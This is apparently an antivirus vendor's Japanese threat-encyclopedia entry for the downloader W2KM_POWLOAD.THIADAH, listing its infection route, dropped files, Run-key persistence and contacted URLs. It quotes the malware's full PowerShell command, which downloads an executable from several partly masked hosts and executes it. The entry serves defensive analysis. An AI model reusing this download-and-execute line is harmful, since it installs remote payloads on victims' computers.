W2KM_POWLOAD.THIADAH

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のファイルを作成します。

• %Public%\{Random Number}.exe
• %AppDataLocal%\Microsoft\Windows\rowsetwindow.exe

(註：%Public%フォルダは、すべてのユーザ共通のファイルまたはフォルダのリポジトリとして機能するフォルダです。Windows Vista、7、8の場合、通常 "C:\Users\Public" です。. %AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000、XP、Server 2003の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

マルウェアは、以下のプロセスを追加します。

• cmd.exe powershell $wso=new-object Net.WebClient;$CEW='http://{BLOCKED}sacademy.com/dj7UM8xL@http://{BLOCKED}ech.com/k9VLuym@http://{BLOCKED}llingsuccess.com/11Y8LyqQm@http://{BLOCKED}talent.com/XKo4ZFqtu@http://{BLOCKED}twire.com/JhTlPtM'.Split('@');$PBb = '562';$zsW=$env:public+'\'+$PBb+'.exe';foreach($HjP in $CEW){try{$wso.DownloadFile($HjP, $zsW);Invoke-Item $zsW;break;}catch{}}

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
rowsetwindow = "%AppDataLocal%\Microsoft\Windows\rowsetwindow.exe"

その他

マルウェアは、以下の不正なWebサイトにアクセスします。

• http://{BLOCKED}sacademy.com/dj7UM8xL
• http://{BLOCKED}ech.com/k9VLuym
• http://{BLOCKED}talent.com/XKo4ZFqtu
• http://{BLOCKED}.{BLOCKED}.100.124:7080/
• http://{BLOCKED}sacademy.com/dj7UM8xL
• http://{BLOCKED}ech.com/k9VLuym
• http://{BLOCKED}llingsuccess.com/11Y8LyqQm
• http://{BLOCKED}talent.com/XKo4ZFqtu
• http://{BLOCKED}twire.com/JhTlPtM
• http://{BLOCKED}.{BLOCKED}.100.124:7080/

ただし、情報公開日現在、このWebサイトにはアクセスできません。